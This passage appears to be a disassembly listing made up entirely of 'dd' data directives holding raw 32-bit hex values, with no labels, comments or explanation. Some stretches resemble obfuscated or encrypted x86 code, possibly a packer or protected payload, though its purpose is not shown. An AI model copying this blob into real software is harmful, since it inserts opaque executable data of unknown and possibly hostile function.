		dd 19551949h, 0E3591320h, 98729F46h, 0B4933057h, 4526D4ECh
		dd 0B0E31EF8h, 567DBE82h, 0A0FC5E28h, 74953265h, 4Ah, 65186F3Ah
		dd 0C91AF7B7h, 1F81F716h, 45815B7Ch, 811EE816h,	0C91957C7h
		dd 3361D716h, 0E3124E28h, 1ACA8C46h, 92D016C9h,	34753967h
		dd 1867DF0Dh, 3BD8415Dh, 54C0173Ah, 0E588EA15h,	0C919A737h
		dd 1431A716h, 8736h, 176F7600h,	555604A7h, 0E11C321Eh
		dd 0B0EEC86Bh, 2530E885h, 0EA6FA4F6h, 5DCB7CAFh, 7C62FF6Dh
		dd 3D6C0F42h, 7485354h,	37E8B2E0h, 0BD5AC6B0h, 0C9F63016h
		dd 0CCFA5C8Fh, 203ACD34h, 670E5D13h, 0B3D0033Dh, 0FB2227Ah
		dd 0D1DE9A61h, 6B4D519h, 16D01640h, 3E7CD84Eh, 7E1BE513h
		dd 0C2ED2C9Ch, 0A4E3BD60h, 6628D679h, 6816D016h, 0D99D55F2h
		dd 5A3E6C9Fh, 67BF92E3h, 67A654F7h, 6B1C21F2h, 6492BDFBh
		dd 0ED1B389Ah, 4A7176Fh, 38FE9756h, 6CAB1B1Ch, 0EDB1DF41h
		dd 7D6380B3h, 4AE21043h, 0DD5323F1h, 3A1D4F7h, 0C10047C9h
		dd 3C7B3BE9h, 0D835167h, 3E8025Ch, 194C28F9h, 77D93B6Ah
		dd 5E0C2D5Ah, 5167B118h, 0AD9330A6h, 4E124073h,	0EEB2E013h
		dd 935785B0h, 0AFA2857h, 9CDACAABh, 24930F71h, 3FDC0F4Ah
		dd 0FF396B0Ah, 8FC9AFCCh, 14722E5Ch, 0B2000000h, 651334A1h
		dd 16C91A21h, 0CA8637ADh, 0EAE22355h, 0C2B5E380h, 692D5B82h
		dd 0ACEFC2Fh, 0AE72A0CBh, 5418466Dh, 0F9BDEB16h, 9E6290BBh
		dd 3E023063h, 0E0A4D201h, 864775A4h, 108E68h, 241C8900h
		dd 5E08950h, 4,	8704E883h, 895C2404h, 1168243Ch, 89000054h
		dd 9068241Ch, 8B05F02Ch, 0C483243Ch, 7656804h, 24890000h
		dd 24048324h, 0B9515B04h, 8, 8F57D901h,	34FF5901h, 0C4815B24h
		dd 4, 5F2434FFh, 4C481h, 6CE90000h, 98FFF94Eh, 312BB8D4h
		dd 0C50305F0h, 0D7D1E0FFh, 54584FE0h, 9EDF625Bh, 92E47114h
		dd 761302DBh, 0A3310203h, 8D8D7B02h, 5F03253h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 4AC35343h, 816653ABh
		dd 5F937CEEh, 26558D89h, 0CF8005E9h, 585C739h, 7005E908h
		dd 8900005Eh, 0E928B1B5h, 3D85C705h, 5E916h, 6A000000h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1C042444h
		dd 45000000h, 0FED0C355h, 2996DBE8h, 0F3BD3A0h,	68Ah, 519D8900h
		dd 0FF05E930h, 0E903F5B5h, 0BDB58B05h, 0FF05E91Ch, 0E90BC595h
		dd 0BE905h, 6FF0000h, 0B15A5AFDh, 0DDBAA568h, 0FF006A39h
		dd 0E91E9595h, 0EBC08B05h, 97B5D90Dh, 0DBCF5F87h, 875E5B1Fh
		dd 4EB122Ch, 6285DF17h,	0D4FE9h, 344A6800h, 7CE905F0h
		dd 68FFF94Dh, 5F03576h,	0F94D72E9h, 37C268FFh, 68E905F0h
		dd 68FFF94Dh, 5F0390Bh,	0F94D5EE9h, 3BF168FFh, 54E905F0h
		dd 68FFF94Dh, 5F03D69h,	0F94D4AE9h, 3E3668FFh, 40E905F0h
		dd 0CFFF94Dh, 0A288A5CCh, 341A3766h, 0C5ABC8F7h, 543A578Ah
		dd 0CACEEB16h, 3964A218h, 0CEF5361Ch, 618CCBB1h, 0F1245E44h
		dd 782607D4h, 13392836h, 0A8825FB8h, 73A13E69h,	0EAAC5A7Bh
		dd 0F416C91Ah, 0EC1A4584h, 2564C022h, 3D775DFAh, 0DE18DC0Ah
		dd 98727DABh, 0A98F2C5Bh, 2D113F6Ah, 0ABE5BFB6h, 37755B78h
		dd 0CF09EF0Ch, 70AA6E9Ch, 0C4F3203Dh, 0AD5BF1F8h, 16C931E9h
		dd 72CE7FF5h, 548D2AD3h, 0FE98CFCh, 0AA74A2D5h,	47155907h
		dd 239916C9h, 22AB5986h, 0E11C327Eh, 33BA82B2h,	12AFF9EDh
		dd 0F48CBA30h, 132025CEh, 9ECCF334h, 43719CDAh,	1D81F453h
		dd 0FD6015B6h, 2346CACEh, 29C62824h, 26D6864Ah,	7AB48E45h
		dd 3189AA47h, 4F000000h, 4A7176Fh, 32294D56h, 0A043B91Ch
		dd 266388C6h, 9DFFC9F7h, 3F6EAB6Fh, 48E54711h, 0BCAF890h
		dd 8C2D1320h, 0C61EC2E9h, 0ED124526h, 0D8000000h, 661488C2h
		dd 16C91A20h, 0A8D638AEh, 4D7BA6E4h, 276842h, 10437D63h
		dd 0B1E41EE2h, 16CBDA94h, 114B16C9h, 0A1DBC1DEh, 0A6083774h
		dd 9C07D403h, 3F3B59F6h, 7BD3EAA2h, 7BA9D011h, 0D2AC4FB1h
		dd 47181795h, 746C1673h, 9A487512h, 1C313221h, 0E514502Ah
		dd 6E50EDB7h, 4AA2DBF8h, 858937DAh, 3E19C674h, 887F250Fh
		dd 417E9CD4h, 3113B012h, 3E18BBh, 0F01132D5h, 0CB0C7C42h
		dd 0DC0C8216h, 16CB0C9Ah, 6A11AE24h, 0EA1B4684h, 6F69AE8Ch
		dd 0CB07C3BBh, 7800000Ah, 0EF41138h, 0A086A3D2h, 31173463h
		dd 0C0A6C3F6h, 363A5782h, 9DC806ACh, 32599A80h,	0C5F02F15h
		dd 5588C2A8h, 0DC8A6B38h, 13392E9Ah, 7BEDCB24h,	1742805Ah
		dd 0C91AA7E7h, 14B12716h, 0A8C5F02Eh, 385588C2h, 84F4310Bh
		dd 0C91A90D6h, 46A81E16h, 83B14E18h, 4A7176Fh, 5170B4E3h
		dd 4B27FCC5h, 2D4E7AFFh, 4CE94B9Fh, 32319192h, 517FF51Ch
		dd 201389B9h, 284DEE13h, 0F01F5B35h, 0DEAC7453h, 0EAC44526h
		dd 8A000000h, 0B25588C2h, 427097D8h, 1AC58937h,	53C916C9h
		dd 919C54F1h, 1AFCC270h, 8C0216C9h, 0A0CB09EFh,	4C8D6772h
		dd 902DF725h, 0C916CFD6h, 0E2154F16h, 0F82B653Fh, 0BC6300CAh
		dd 3B699CD6h, 0B95CCC24h, 1EA4EA98h, 0B42A16C9h, 0EFC9EA17h
		dd 1F4E8BB0h, 0D56620BDh, 211C31F3h, 0FD558EABh, 3DD89E4Ch
		dd 70E61320h, 469887BFh, 9AFCA05Ch, 5CF649F7h, 17F119C6h
		dd 2C0EABDAh, 0F83913B6h, 0A4DFA3D1h, 45720F71h, 5F022D6Bh
		dd 35859830h, 77D3F035h, 0C76E0B3Ah, 4778A3E1h,	6F697DEFh
		dd 9FAA665Eh, 4C000009h, 0E2C8E50Ch, 745A77A6h,	5EB0837h
		dd 947A97CAh, 0A0E2B56h, 79A4E2D8h, 0E35765Ch, 0A1CC0BF1h
		dd 31649E84h, 0B8664714h, 13392FF6h, 0C2C19FF8h, 0FA235F84h
		dd 986290BBh, 0D1B7D436h, 1A476497h, 38D50440h,	5588C20Ah
		dd 21FB1C27h, 0C589B9E0h, 0C916C91Ah, 96D0B653h, 0EA194663h
		dd 97BCF76Dh, 2EE885BCh, 16C9E214h, 0E401346Eh,	5B97C4FEh
		dd 0D89CCA2Ch, 0B9B41C9Eh, 0D402316Eh, 26BE590Ah, 5C4C7ADCh
		dd 0F22C78FDh, 1B8ED07Eh, 0A01016C9h, 74D6385Fh, 82FB2A57h
		dd 618EC1C5h, 60300FACh, 8040CF00h, 0C4h, 336D47h, 0D1EFAF5Dh
		dd 79EF16C9h, 4C7BAEDCh, 6DCC5E79h, 0BE6C0FCEh,	16C930F8h
		dd 0BAF39006h, 0A14FF262h, 1C321BE4h, 99C805DFh, 76A41AFCh
		dd 0DA9C4A6Bh, 0E0132029h, 7F4977A2h, 1855B127h, 0B0924CE9h
		dd 0C7132029h, 0B45C4F26h, 0AC4526E0h, 70h, 1AD5EE72h
		dd 82DA16C9h, 50C16F12h, 961C322Eh, 0DF1D0320h,	0FB3711B4h
		dd 37D49ECCh, 0A010687Fh, 0B9E423FDh, 0E441EF1Ch, 0EA19DB32h
		dd 32715774h, 6AC2D907h, 642857FAh, 2749B9F1h, 0CF7DAA47h
		dd 1C325CCEh, 837DA50h,	0D11115BCh, 0C8BE6F72h,	18098109h
		dd 36630AA7h, 67ED1407h, 88250C47h, 549AAh, 1CCAEB00h
		dd 1320D15Ah, 2351EE64h, 4A7176Fh, 322A4D56h, 3F6E1Ch
		dd 0B5E42072h, 6525C704h, 0CD70E6C8h, 0E885B8F3h, 69AA9830h
		dd 2CCD1320h, 0A0BE6249h, 0FB24526h, 79000005h,	6570844Ah
		dd 0C403839Fh, 6C9A3799h, 0DEFF5084h, 0C91A6E30h, 57FA7016h
		dd 0C91AE5A9h, 0D673E916h, 32D5459Dh
		dd 321C6384h, 0E731601Ch, 0FDE15623h, 82CEF6A7h, 57DF457Fh
		dd 3362D8BAh, 0E752869Dh, 6DDD35B5h, 0DA88A9CAh, 0BAE57294h
		dd 0F1B5631Ah, 0FDBAE572h, 0CE882587h, 0B01E4431h, 0EB1E5832h
		dd 5697F3BDh, 9A37012Fh, 0FDEBF3B8h, 5A913A5Ah,	5BB3CAF8h
		dd 6295D0AAh, 743A6A34h, 7ABF0C04h, 51FFA204h, 0B5F04E22h
		dd 2E4FF268h, 702A30FFh, 9C520336h, 391FBC50h, 82AFCCFFh
		dd 0A34067A8h, 1F5083BDh, 0C341E375h, 5308C4BCh, 7, 967C99C0h
		dd 280E2B5Ah, 0B99FBCEBh, 482E4B7Eh, 0BEC2DF0Ah, 25508E24h
		dd 0BAE12208h, 4D78B79Dh, 0DD104A30h, 6412F3C0h, 13392D22h
		dd 0C27553ACh, 0F01F5B88h, 0D511EB8Eh, 7B5F78A6h, 9E64D25Bh
		dd 6D25C224h, 9F4DFE56h, 16C9C2DFh, 640769DFh, 0E8264B8Ah
		dd 632D5BBDh, 6EEB99C6h, 0E81C312Ah, 0B6F5CF72h, 20416E8Bh
		dd 20E52C72h, 9F3CB213h, 14557AB9h, 0EE88BEDh, 4B03A0D3h
		dd 20E5F3B3h, 0D51F2313h, 0B8101320h, 6F76A548h, 0EA15DEB1h
		dd 0CB79A643h, 19DB00D2h, 2243E65Ch, 0B0E00748h, 16C928EEh
		dd 25DD7AF0h, 0D601401Ah, 28437F39h, 82BF16C9h,	24612553h
		dd 0C603C7F5h, 0D1A41B97h, 0B0C566CDh, 90677EADh, 201678E6h
		dd 0B5FCA483h, 2AF440CFh, 0BA000000h, 6CAD176Fh, 9240E345h
		dd 1C322359h, 0CCFB3812h, 5537D49Eh, 27623CDFh,	0D4105B3h
		dd 0D74D1320h, 6420D875h, 31h, 0AC5A7BA4h, 16C91AEAh, 0A8E17EF4h
		dd 1C3DE050h, 1A094DFBh, 1F9516C9h, 13A3C882h, 3CF31C32h
		dd 201DC88Eh, 59267D13h, 0D80E3225h, 7AA80A80h,	5B88C26Eh
		dd 88B7F320h, 0CC2EF826h, 6BC4F79Bh, 823E366Fh,	60Ah, 335077B7h
		dd 0C5E2114Dh, 5673A2DFh, 0E5023570h, 7996C1FFh, 7456D75h
		dd 98D9BFDCh, 2F6E5471h, 0C701E704h, 0C9AA7794h, 39235B1Bh
		dd 2C0A6313h, 6CAD176Fh, 0EB4D1745h, 1E8D9A48h,	1B911C32h
		dd 0BCEF29EDh, 1C5CE59Fh, 305F3879h, 5CBF562h, 9CDB3796h
		dd 0DC794371h, 0BDDA4CA3h, 19BC2C84h, 6529D7F8h, 65346B0Ah
		dd 2FA5FD24h, 3B3D892h,	3E033E90h, 431A12B3h, 81AF1197h
		dd 5C0381BDh, 9CC3047Ah, 0D9F3A46Eh, 3C59BB39h,	0F7ECAB03h
		dd 0BD8656EBh, 0A0C164C6h, 0BB588BC6h, 795AE401h, 0C6F46A3Bh
		dd 6B72142Eh, 0B3C26334h, 6DBB28F8h, 1344862h, 0E00F0000h
		dd 6F1DA530h, 62902D2Fh, 6CAD176Fh, 0EB4D1745h,	3DF82748h
		dd 0A72E103Ah, 6E7731CEh, 0F01C329Eh, 4E884C7Ah, 53B5E421h
		dd 1EDA0936h, 733DEF49h, 9BC2035Fh, 2006A36Dh, 0ED85B3E6h
		dd 3879AD54h, 70344164h, 9ECD0936h, 0FF391F3Ch,	0BD069ECCh
		dd 0A51F3297h, 0EF225C36h, 93BEFDC1h, 165F9431h, 421548Eh
		dd 83B1E41Eh, 345F9E78h, 99095E97h, 26C92B5Eh, 0AFEA0B4Ch
		dd 28EC1A7Ch, 0BD5ABCEBh, 2D4E6F90h, 20A73F7Fh,	1949BF13h
		dd 1320A755h, 8C46E359h, 1320A7AAh, 6194CFA9h, 0C96CE2C4h
		dd 0A7B4FAA8h, 0FA361320h, 0A1FD73CBh, 3C063467h, 67BFF89Fh
		dd 0C5A654F7h, 1119DB96h, 29D7F89Bh, 16C9B865h,	9E56F369h
		dd 0CA6DA0DAh, 5482B5F0h, 6046ED8Ah, 2DC5F326h,	16C9B871h
		dd 1193E259h, 0CD87A4D7h, 0EA9DB06Fh, 0B7873968h, 2555A46h
		dd 0A386BA6h, 136AA340h, 649E84A1h, 7AB48E31h, 94165806h
		dd 2298629Dh, 0D36B23C0h, 0E8DFFA63h, 693B3A5Dh, 0F9DFFC2Fh
		dd 535E8CBFh, 710E3D79h, 0CD70E038h, 2133BE1Fh,	6D8A00EEh
		dd 3E8Fh, 176FCF00h, 9E304A7h, 46009DCCh, 1C322395h, 0B97DAB21h
		dd 0F6314E7Dh, 90E5DB6Ah, 0D0C47DCBh, 9BFD3A5Fh, 8B6D7F8h
		dd 13206E46h, 56A3F7EFh, 9EF66D56h, 85D18B28h, 91320BCh
		dd 7BBE0093h, 73E466A1h, 0FCB7C28Fh, 7B4573D5h,	91BEF8DEh
		dd 0EBF62457h, 0C92D793Dh, 0AD0F8516h, 9DF52E4Bh, 93DC8A2Dh
		dd 0D01C321Bh, 0F08DB8F6h, 0C6F5980Eh, 96E26B0Bh, 2C59F60Ah
		dd 0CBE81352h, 4D7BA6E5h, 0CB6EDE36h, 97BAFCAAh, 7F441320h
		dd 509A22B3h, 19E0071h,	41A526D4h, 3BB119D8h, 0BE4D750Dh
		dd 0A6216C9h, 5C49F79Ah, 0E21C32A8h, 9CA63E6Ch,	0DB132080h
		dd 0A0703B3Ah, 0C045264Dh, 22h,	58176F86h, 25D33148h, 16C97061h
		dd 6F46F76Dh, 8AB0DF3h,	321F815Ah, 719F151Ch, 0EB5h, 176FF500h
		dd 355604A7h, 811C3213h, 0C2D1DD0Bh, 6E245588h,	0DD6F6BC5h
		dd 32429E5h, 91D10000h,	2B674D6Ah, 0BCF9DFFCh, 4F8A708Dh
		dd 0DB19FF1Ch, 538F93B0h, 0E1FE2967h, 7693BAFBh, 9265190h
		dd 99B6E923h, 793DEBCCh, 85133921h, 88C24E2Ch, 1A206614h
		dd 38AE16C9h, 44729DDCh, 9B75187Ah, 783EEC60h, 8616C91Ah
		dd 5911AE10h, 0B285B95h, 48CA04DEh, 3D4CAEF1h, 5AFD5F93h
		dd 0C986EAACh, 0E17EF416h, 3DE050A8h, 86286E1Ch, 71B216C9h
		dd 0FA521C4Ah, 0CBAE784h, 1C32BF83h, 9872158Bh,	0D68E2B5Eh
		dd 2090043Eh, 10437E13h, 0B5E01EE2h, 87B66E87h,	0E6F62497h
		dd 1C82F36Ah, 0FC6114B5h, 19B6E522h, 26E3963Ah,	358A45h
		dd 6F500000h, 5604A717h, 1C32294Dh, 7D1543B9h, 13200B45h
		dd 225083BDh, 0C3F1245Eh, 910D68DFh, 71EC892Ah,	4253542h
		dd 3EDB3839h, 262AB15Fh, 0CDAF45h, 0C2750000h, 83B25588h
		dd 7483F230h, 1DCDC7EEh, 0C8ECBE6Fh, 217A2A5Dh,	0FF61FA83h
		dd 0A8E6AA62h, 518B4F7Dh, 0BE5F01Eh, 2006A3CAh,	0DC96B3E6h
		dd 16C920C5h, 39DC0F49h, 0C8F6215Fh, 3467A2FEh,	0F89F3C06h
		dd 2A5D812h, 20BDEC28h,	89F95168h, 0A3CE0CE6h, 822BD906h
		dd 0CC1C3227h, 0FE84B356h, 101A4FC0h, 0E9AEABF1h, 253E6738h
		dd 50A8E188h, 0A48F3DE0h, 0EE19C6E8h, 0BDFBD578h, 19487592h
		dd 9F5A3DEBh, 3A20BD5Eh, 10A0D1FCh, 5F6F68ECh, 1ACAB67h
		dd 19590000h, 0B3EFD5F2h, 44816784h, 0D712F815h, 63A187A4h
		dd 0CB171B38h, 6986B1EFh, 0FE1B4283h, 91AED918h, 213E71ABh
		dd 81C57354h, 0D133927h, 84C2D6B4h, 1C563C59h, 6F9ECCE9h
		dd 5604A717h, 1C32294Dh, 7D1543B9h, 13200B45h, 476411B2h
		dd 4526C699h, 0AF97h, 88C25D00h, 25632755h, 6694C300h
		dd 740C3A9Ch, 16C9166Dh, 6784B7F1h, 0E6144781h,	640777CFh
		dd 1ED19543h, 6DDD16C9h, 3A00231h, 118F28D6h, 18CF1C32h
		dd 201B246Ah, 0D234AA13h, 0B4247CB5h, 7C42F011h, 8213201Bh
		dd 77A5D812h, 81AE4BADh, 0C684DBD3h, 4AED6319h,	0EA073270h
		dd 654CC604h, 6C7CC886h, 90BEE526h, 0D10264C6h,	6F68F94Fh
		dd 0DFEAA69Eh, 8C000000h, 2208254Ch, 0B49AB7E6h, 452B4877h
		dd 0D4BAD70Ah, 4A4E6B96h, 0B9E42298h, 4E75B69Ch, 0E10C4B31h
		dd 71A4DEC4h, 0F8A68754h, 133924B6h, 0C201DF38h, 563C5984h
		dd 9ECCE91Ch, 0DB324C7Bh, 1B88013h, 0C9E01353h,	0C3259B16h
		dd 78CA0912h, 3A092FCh,	82B0E31Dh, 355C9D77h, 4578B298h
		dd 0E9CCFB28h, 9C303CACh, 7FC33E4h, 2B51714Fh, 8DFD558Eh
		dd 0C25D3CEAh, 2FA51C39h, 0D0033D01h, 185E0C2Dh, 0A61339E2h
		dd 9FDF8D30h, 1F1339E2h, 38650CA9h, 0AB205C09h,	69066414h
		dd 0E8164983h, 4D0A4150h, 1D587BF8h, 0FD1A4D87h, 7AADD17h
		dd 22BFF22Dh, 903E5F6Ah, 744C4ACEh, 0D7BD5AD0h,	573B699Ch
		dd 0D50F95E0h, 77E28453h, 0DE40915Ah, 6EA1DBC1h, 88440h
		dd 7BC40000h, 963366A1h, 82C2218Fh, 2F692D5Bh, 0CB0ACEFCh
		dd 6DAE72A0h, 16541846h, 0BBF9BDEBh, 639E6290h,	13E0230h
		dd 0A4E0A4D2h
		dd 68864775h, 1CABh, 68242C89h,	5B99h, 51242C89h, 0C181E189h
		dd 4, 8704E983h, 895C240Ch, 51502414h, 4C0557B9h, 0D9E9816Ah
		dd 81642A5Ch, 7561E3C9h, 87E98179h, 81459D65h, 962508F1h
		dd 0BAE9810Ah, 892D5E6Eh, 0C58959C8h, 4EC8358h,	81242489h
		dd 42404h, 685A0000h, 7C06h, 8F242C89h,	34FF0842h, 0C4815A24h
		dd 4, 5D2434FFh, 4C481h, 3CE90000h, 9CFFF940h, 7349FF7Fh
		dd 0F03F3AB8h, 0FFC50305h, 52A608E0h, 0BCD5841Ah, 2CFABF4Eh
		dd 855A4C24h, 0FA04EB20h, 0E9522D06h, 4E0h, 5B789FDFh
		dd 0ED0A3975h, 7E9BCA07h, 0D2A5D98h, 0A1BEE927h, 2F6D459Dh
		dd 0C001E704h, 57967C99h, 0EF290F2Ch, 0F1D29FBCh, 39250343h
		dd 54328B13h, 0EAAC5A7Bh, 0F416C91Ah, 0B81A4584h, 0CEFB351Bh
		dd 0D402648Fh, 70ADD210h, 0E7491341h, 77AAE4CAh, 184B8549h
		dd 0C705DFEAh, 0DD19FF9Ch, 577280AEh, 1AC68836h, 3C816C9h
		dd 0B1AE6B5Fh, 620567C8h, 0C950F2B4h, 0E986FC16h, 0A9E3C1B4h
		dd 34735976h, 0C706EC09h, 0FE3C65A2h, 79DBA5D3h, 194C874Bh
		dd 632755B7h, 9AC70122h, 37012F5Eh, 0EE9CA7D5h,	16C950A8h
		dd 0FC5EC036h, 9DD00ACEh, 0FF6FAB6Fh, 0C9500D51h, 0B91B9116h
		dd 4530A78Bh, 0F66DD59h, 0E2B5695h, 8DBBEE28h, 0C950CCF5h
		dd 32536A16h, 0C950C284h, 0FA56CC16h, 0BFF491BCh, 9D2BF5B6h
		dd 514540CFh, 0C000000h, 29C6F532h, 5588C2FBh, 21B583B2h
		dd 981EF408h, 0E9AB43FBh, 2116C9C0h, 68387302h,	8840CF0Dh
		dd 1, 5786C24Eh, 0FA296529h, 0ACE7C1CCh, 0B214437Fh, 371DBA84h
		dd 8D9BC9FCh, 5D990B6Ah, 0B5E4112Eh, 21703BD9h,	0D8BE5BF6h
		dd 204E6B9Eh, 0E10A84C2h, 0B7D340ACh, 753967C9h, 0ECDC0A39h
		dd 9B75E88Dh, 95D6325Dh, 0D976406Eh, 5390B5F3h,	0BFA5C224h
		dd 0D5AF5285h, 0D50F6B96h, 0DAA74A2h, 25549155h, 0EE8728F7h
		dd 0CFA503BDh, 781D40h,	0C2E30000h, 672B5984h, 0BFCDFB2Ah
		dd 8DCBD99Ch, 0D0FE2968h, 5A87A406h, 76134680h,	0F9275290h
		dd 99C7FA35h, 1A5731CAh, 46DF3AEBh, 125A6A6Eh, 76354075h
		dd 40CF08BAh, 0BC839BCAh, 5E67BE02h, 0F996C502h, 68D8h
		dd 5A7B9E00h, 0C91AEAACh, 0E17EF416h, 6492BDFBh, 83661A0h
		dd 29344190h, 3FD10EFAh, 0EAB07F1h, 86C5EA28h, 0C0632D5Bh
		dd 0C94B4C12h, 7ADC5216h, 86C22F5Dh, 0B0912957h, 0D216C91Ah
		dd 75396796h, 0E9D9073Ah, 8BB3EB8Ah, 2C5F9A74h,	1A9BDB89h
		dd 0AD2316C9h, 119ADB10h, 40CFD74Fh, 861h, 0F4E2800h, 4FECB6E4h
		dd 5685C221h, 0F72A6428h, 76EE5C9h, 0FB37609Dh,	144D6ACCh
		dd 0E81352BCh, 0C0224D8Ch, 0F5F26F1Dh, 9E141C31h, 3F72AC70h
		dd 0CF023C22h, 195D0B2Ch, 0A513203Fh, 42DA922Fh, 13203F7Eh
		dd 0ACF87DCCh, 3C223F72h, 0DDA1CF02h, 524270A3h, 0E82282F3h
		dd 17B998B5h, 94526F2h,	13Ch, 8EB5F6D0h, 176FC3F1h, 0FD5604A7h
		dd 291C3209h, 87C185B3h, 17513754h, 0B8F2B6E4h,	52935785h
		dd 0E1E4FD2Bh, 0B02A34D7h, 22518EEAh, 0D0A504F4h, 76998D4h
		dd 4F55207Fh, 872A9315h, 0EAE82C99h, 0C022518Eh, 5B9C76A3h
		dd 5E0145F3h, 178D1320h, 973918B5h, 89452693h, 5Bh, 0A6186F4Fh
		dd 19C15503h, 964D16C9h, 0C91AA6E8h, 50B22816h,	1AC48A22h
		dd 1CB916C9h, 0EEA1F859h, 0C91A7E40h, 0A80A8016h, 19C75705h
		dd 0CDFC16C9h, 4B8F98B8h, 0BB32A226h, 997D21D2h, 52B4E721h
		dd 405DD3B5h, 0CDFC3913h, 925230h, 0B9930000h, 469A4B7Eh
		dd 0B45EC78Bh, 6F315FFCh, 5604A717h, 1C321E55h,	793D6BE1h
		dd 9EF0C3Fh, 0D8F99CCFh, 0CEC17FA9h, 0A7D7E0A1h, 132025E7h
		dd 25A8EE9Ch, 0C0361320h, 9D55F268h, 2025FE05h,	383D8C13h
		dd 0E2FF326Ch, 3EE151A9h, 0D0349490h, 39E79E19h, 16D01A75h
		dd 0FEA10379h, 9021BDCFh, 0DD7A1DC2h, 0F4276125h, 0A6BE2C6h
		dd 0DC7FEF47h, 20D0322Eh, 0F973381Ch, 1EB54C7Ch, 3B6885E7h
		dd 0CBF92061h, 8D4C12C0h, 0DC521320h, 0B5E01E7Ah, 0F220BD87h
		dd 4A7176Fh, 9FCA09E3h,	0B5C4802h, 70E61C39h, 87B6F3CDh
		dd 25C2ED2Bh, 3C6FA96Dh, 0CCFF391Fh, 681E069Eh,	0B3D6CBD6h
		dd 7BA8E2C2h, 8EAB0D40h, 0D3B6EA8h, 0ADDB0E49h,	812352C9h
		dd 11F71447h, 6B76A4D7h, 77285391h, 7C0BC630h, 0A3811E8Ah
		dd 0Ah,	62A17BE3h, 0A23F0937h, 82C22D9Bh, 2F692D5Bh, 0CB0ACEFCh
		dd 6DAE72A0h, 16541846h, 0BBF9BDEBh, 639E6290h,	13E0230h
		dd 0A4E0A4D2h, 68864775h, 69B4h, 57240489h, 0C781E789h
		dd 4, 8704EF83h, 895C243Ch, 0D5682404h,	89000072h, 16B8242Ch
		dd 255E8942h, 1DFE1986h, 5600F625h, 0FFFF0538h,	0D8F7FFFFh
		dd 0FC0182Dh, 5C4068E2h, 24890000h, 24048324h, 89565D04h
		dd 2C8156C6h, 616F9A24h, 8458F0Fh, 9A084581h, 5E0F616Fh
		dd 57242C8Bh, 0C781E789h, 4, 4C781h, 3C870000h,	48B5C24h
		dd 0E1895124h, 4C181h, 0C1830000h, 240C8704h, 3B41E95Ch
		dd 0B02EFFF9h, 363CF504h, 0E03115F1h, 23319673h, 0F04426B8h
		dd 0FFC50305h, 0C0D17FE0h, 9FE6B061h, 40064F54h, 0C8B2740Eh
		dd 0B48B9E74h, 90520149h, 9234A81Dh, 85BD8C15h,	0C1257845h
		dd 0EC3D9C48h, 0C98B066Eh, 0F0C74C22h, 9E6AF768h, 0E4CF7162h
		dd 16D63A59h, 0F6B4131Dh, 0F79D0F1Fh, 367F7920h, 805A5E7Ah
		dd 0DFC6552Eh, 0B5C9D159h, 70EAE66Ah, 4604EB50h, 0E912D151h
		dd 50Ah, 0F2C5393h, 0A1BEED29h,	324F7EBBh, 0C1DE114Ch
		dd 55729DDBh, 0EB299151h, 7CBDA3C0h, 13523855h,	0ABE5CBE8h
		dd 0AD8E5B78h, 395FBFFFh, 8E63F13h, 1D5B88C2h, 98FAC4F2h
		dd 3D68A66Ah, 0CD003A20h, 6EA1DB9Fh, 84B7F1CBh,	37EF8C56h
		dd 0DA083773h, 0D8CCA9CCh, 9741C9Eh, 18377AD9h,	7AE413B6h
		dd 0E360CBC3h, 0E8CE7512h, 34617EA9h, 816B2A05h, 66033165h
		dd 0E8164180h, 19BCE324h, 19044AF8h, 4A8616C9h,	0CB23ED1Bh
		dd 8EBDF955h, 0DE5539F1h, 4297C697h, 0A1F4B963h, 0E01F05A2h
		dd 6417D566h, 31939AF1h, 80F42E14h, 0C94C8CD2h,	0A6CD0E16h
		dd 0D376D84Eh, 33FDE2A4h, 1DBA0AD8h, 0BCF4CD65h, 234216C9h
		dd 71B75952h, 57A940CFh, 70000000h, 0FF2D5896h,	6DCFFE3Bh
		dd 88C2A2D0h, 0CD8F2755h, 0D116C91Ah, 72366497h, 0C0D90736h
		dd 5E8501C8h, 9DECFC05h, 628DCCD8h, 0E0086A34h,	29F7B4C1h
		dd 4740CF64h, 1, 5786C20Dh, 0FA296529h,	9ACD08CCh, 69435E6Ch
		dd 2D62FF2Ah, 0F1205C48h, 81B4EED4h, 84C23664h,	6AE61B0Ah
		dd 45A7B1C9h, 0E8175317h, 0A6BCABAh, 14315C9Ah,	93C1F42Eh
		dd 2E6992CFh, 0A103CDFBh, 7203A473h, 0A7D211EBh, 3312AF79h
		dd 40CF3E7Dh, 0F6B86687h, 0F816C9FAh, 6DC4E582h, 8A000000h
		dd 2B5984C2h, 0CDFB2A67h, 0CBD99CBFh, 5F45628Dh, 4C8F621h
		dd 0C4F396C9h, 486C0E99h, 79DD12h, 0C5FB97D0h, 3F0EC663h
		dd 1CD4D79Eh, 3440CFE1h, 68h, 6A2CDAFBh, 7416C930h, 0C23361FEh
		dd 672B5984h, 395AFD28h, 0C91ACB8Bh, 0C05DD316h, 34419008h
		dd 0E5104F29h, 6A50EDB7h, 9FC6072Ch, 6BF6A771h,	8D01E209h
		dd 0B2E0FD5Fh, 0B45786C2h, 1AA1E593h, 0B72D16C9h, 1A206614h
		dd 38AE16C9h, 764BE39Bh, 0C016C91Ah, 9D7D4A1h, 1B40CFD7h
		dd 0A6D40741h, 11E3FDCh, 0E4000000h, 3762A17Bh
		dd 4877B49Ah, 0E91C561Ah, 8E68D7BBh, 50852251h,	1D5E3825h
		dd 367359F6h, 59B1EA07h, 772546E9h, 16C91A37h, 77A441B7h
		dd 31F558C9h, 9538AE1Ch, 0A8C19166h, 0ED8A60E2h, 4377135h
		dd 94C701E7h, 848ACE66h, 11581320h, 61037E2h, 902DC98Fh
		dd 69431A5Bh, 7A60FD2Ch, 0AF00D40h, 0E8AE5CD0h,	0F6132055h
		dd 0B8E72480h, 0BB5EC08Ah, 8836A2E1h, 132055C6h, 0C2F052C8h
		dd 98A35BF8h, 5585C977h, 93091320h, 0A3D610F6h,	4F268575h
		dd 0CBE81B55h, 269824ECh, 1393C45h, 6F020000h, 5604A717h
		dd 1C3209FDh, 0C185B329h, 0A375487h, 228623DBh,	0A2FEBD1Eh
		dd 400A3863h, 5083BDA3h, 48F61722h, 1320E006h, 8F751288h
		dd 4F42255h, 9AD4D0A5h,	0FC1D4A67h, 20E0084Eh, 83209613h
		dd 262DFCA4h, 4DF445h, 6FBA0000h, 5503A618h, 16C919C1h
